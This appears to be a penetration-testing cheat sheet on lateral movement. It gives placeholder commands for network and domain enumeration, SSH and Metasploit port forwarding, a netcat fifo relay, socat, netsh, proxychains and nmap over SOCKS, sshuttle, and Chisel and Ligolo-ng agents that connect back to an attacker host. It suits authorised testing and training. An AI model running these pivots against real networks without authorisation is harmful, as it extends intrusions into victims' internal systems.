Lateral Movement

Network Info

# Linux
arp -a
cat /etc/hosts
ifconfig
ip a
nmcli dev show
ip r

# Windows
arp -a
type c:\Windows\System32\drivers\etc\hosts
ipconfig /all
netstat -r

Access Domain Names

For a box that is not joined to the domain, but has domain access, add the DC (or DNS server) to resolve DNS names.

Split DNS Resolution (w/ VPN)

# 1. Enable dnsmasq plugin (Global Config)
sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.bak
sudo sed -i '/\[main\]/a dns=dnsmasq' /etc/NetworkManager/NetworkManager.conf

# 2. Create the Domain Rule (Persistent)
# Syntax: server=/domain.com/10.10.10.10
echo "server=/<FQDN>/<DNS_SERVER>" | sudo tee /etc/NetworkManager/dnsmasq.d/split_dns.conf

# 3. Restart NetworkManager to apply the plugin change
sudo systemctl restart NetworkManager

# 4. Configure the VPN Connection
# Replace <CONNECTION_NAME> with your VPN profile name (e.g., 'tun0' or 'lab_vpn')
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns ""
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.never-default yes

# 5. Reconnect VPN
sudo nmcli connection down "<CONNECTION_NAME>"
sudo nmcli connection up "<CONNECTION_NAME>"

All DNS Resolution (no Internet access)

# Configure the VPN connection to strictly use the Target DNS
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns "<DNS_SERVER>"
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes

# Reconnect to apply
sudo nmcli connection down "<CONNECTION_NAME>"
sudo nmcli connection up "<CONNECTION_NAME>"

Verify

nslookup <TARGET>

Domain Information

# Get Domain Info
net config workstation
ipconfig /all
echo %USERDOMAIN%
$env:USERDOMAIN
echo %LOGONSERVER%
$env:LOGONSERVER
(Get-WmiObject Win32_ComputerSystem).Domain
(Get-CimInstance Win32_ComputerSystem).Domain   # PowerShell (modern; no WMI)
systeminfo

Tunneling (Port Forwarding)

SSH

Forward

Local (where SSH is ran from) => Remote (Target)

ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> <USER>@<TARGET_2>

ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> \
    -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> \
    <USER>@<TARGET_2>

Reverse

NOTE: this requires GatewayPorts to be yes:

grep 'GatewayPorts' /etc/ssh/sshd_config
ssh -R <REMOTE_IP>:<REMOTE_PORT>:0.0.0.0:<LOCAL_PORT> <USER>@<TARGET> -v

Metasploit

portfwd list

Forward

# ATTACKER => REDIR => TARGET
# NOTE: add "-L 0.0.0.0" to make the local port accessible from other machines next to ATTACKER (like a Windows box)
portfwd add -l <ATTACKER_PORT> -r <TARGET_IP> -p <TARGET_PORT> 

Reverse

# TARGET => REDIR => ATTACKER
portfwd add -R -l <REDIR_PORT> -L <ATTACKER_IP> -p <ATTACKER_PORT>

Redirection

Redirection is simple traffic manipulation on a single host. There are no tunnels.

Netcat

# PORT FORWARD 0.0.0.0:<LISTEN_PORT> => <TARGET>:<FORWARD_PORT>
# NOTE: use normal netcat (w/o "-e" or "-c" options)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | nc <TARGET> <FORWARD_PORT> 2>&1 | nc -lvnp <LISTEN_PORT> > /tmp/f

Socat

This can be forward or reverse, with the TARGET_* being the ATTACKER or TARGET respectively.

socat TCP4-LISTEN:<LISTEN_PORT>,fork,reuseaddr TCP4:<TARGET_IP>:<TARGET_PORT>

Netsh

netsh.exe interface portproxy add v4tov4 listenaddress=<LISTEN_IP> listenport=<LISTEN_PORT> connectaddress=<REMOTE_IP> connectport=<REMOTE_PORT>

netsh.exe interface portproxy show v4tov4

Dynamic Forwarding

SOCKS

FeatureSOCKS4SOCKS5
Transport ProtocolsTCP onlyTCP & UDP
AddressingIPv4 OnlyIPv4 & IPv6
DNS ResolutionClient-side (vulnerable to leaks)Remote/Proxy-side (via SOCKS5/4a)
AuthenticationNone (Ident-based only)Username/Password, GSS-API
Nmap CompatibilityNative --proxy (very stable)Better via proxychains
SSH (-D) DefaultSupported (manual flag)Default
Chisel DefaultNot standardNative / Built-in
  • Remember that only proper TCP traffic works with SOCKS (e.g. NOT certain scans like nmap -sS sends malformed packets or ICMP ping), use nmap -sT --proxy
proxychains -q -f <CONFIG_FILE> <COMMAND>

proxychains msfconsole

# USE nmap's builtin --proxy option
nmap -sT -Pn -n --proxy socks4://127.0.0.1:9050 <TARGET>
# --unprivileged avoids raw sockets and "bad" packets
nmap -n -Pn -sT -sV --unprivileged --proxy socks4://127.0.0.1:9050 -p21,22,23,53,80,135,139,389,443,445,1433,3389,5985,5986,8080 --stats-every 15s --open -v -oA nmap_subnet_discovery <TARGET_SUBNET>

Step 0: Pre-Requisites

# Edit ProxyChains Config
# NOTE: disable strict_chain to for robustness
ls -la /etc/proxychains*.conf
cat /etc/proxychains4.conf | grep -v '^#' | grep -v '^\s*$'

---

sudo mv -v /etc/proxychains4.conf /etc/proxychains4.conf.BAK

echo "#quiet_mode
proxy_dns
#dynamic_chain
strict_chain
[ProxyList]
socks5  127.0.0.1 1080  # Chisel
socks4  127.0.0.1 9050  # SSH -D proxy or nmap" | sudo tee /etc/proxychains4.conf

Metasploit

# Set global proxy for Metasploit
setg PROXIES socks5:127.0.0.1:1080  # SOCKS5
setg PROXIES HTTP:127.0.0.1:8080  # HTTP

# Clear proxy for current module only
set Proxies ""

# Accept reverse connections directly (don't let it thru the SOCKS proxy)
setg ReverseAllowProxy true

via SSH

# Step 1: create proxy via SSH
ssh -D 9050 <USER>@<TARGET>

Windows SSH client from PuTTY.

plink -ssh -D 9050 <USER>@<TARGET>

cmd.exe /c echo y | plink.exe -ssh -l <USER> -pw <PASS> <TARGET>

via Metasploit

# Step 1: Run MSF SOCKS proxy
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
#set version 5
run -j
jobs

# Step 2a: in MSF
use post/multi/manage/autoroute
set SESSION <SESSION>
set SUBNET <TARGET_SUBNET>
run -j
jobs
route print

# OR Step 2b: in MSF session
run autoroute -s <TARGET_SUBNET>
run autoroute -p

Sshuttle

“Transparent proxy server that works as a poor man’s VPN. Forwards over ssh. Doesn’t require admin… Supports DNS tunneling.”

sudo apt install -y sshuttle
# NOTE: -x excludes the pivot IP to avoid routing issues
sudo sshuttle -r <USER>@<TARGET> --ssh-cmd "ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" -x <PIVOT_IP> -v <TARGET_SUBNET>

Chisel

“Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH”

NOTE: configure [[lateral-movement#Step 0 Pre-Requisites]] and SOCKS5 w/ port 1080

### LINUX
# DYNAMIC
git clone https://github.com/jpillora/chisel.git && cd chisel && go build
# STATIC
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o chisel_static

### WINDOWS
# 64-bit
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o chisel.exe
# 32-bit
CGO_ENABLED=0 GOOS=windows GOARCH=386 go build -ldflags="-s -w" -o chisel32.exe

### SHRINK (10MB -> 3MB)
upx --lzma chisel*

Forward

# REDIR
./chisel server --socks5 -v -p <LISTEN_PORT>

# ATTACKER
./chisel client -v <CHISEL_SERVER>:<LISTEN_PORT> 1080:socks

Reverse

# ATTACKER
./chisel server --socks5 --reverse -v -p <LISTEN_PORT>

# REDIR
./chisel client -v <CHISEL_SERVER>:<LISTEN_PORT> R:1080:socks

Ligolo-ng

Sets up a new interface and route to move traffic

Build:

git clone https://github.com/nicocha30/ligolo-ng.git && cd ligolo-ng

go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go
# Build for Windows
GOOS=windows go build -o agent.exe cmd/agent/main.go
GOOS=windows go build -o proxy.exe cmd/proxy/main.go
# Build for Linux
GOOS=linux go build -o agent cmd/agent/main.go
GOOS=linux go build -o proxy cmd/proxy/main.go
### SHRINK (10MB -> 3MB)
upx --lzma agent* proxy*

ATTACKER: Listener

sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# listens on :11601 by default
./proxy -selfcert

Target Listen/Bind (Forward) ATTACKER connects to TARGET

# TARGET
./agent.exe -bind 0.0.0.0:<PORT>

# ATTACKER: ligolo session
connect_agent --ip <TARGET>:<PORT>
session
tunnel_start --tun ligolo

Target Connect/Reverse (Reverse) TARGET connects to ATTACKER

# Target
./agent.exe -connect <ATTACKER_IP>:<PORT> -ignore-cert

# ATTACKER: ligolo session
session
tunnel_start --tun ligolo

ATTACKER: Create Route

sudo ip route add <SUBNET_TARGET> dev ligolo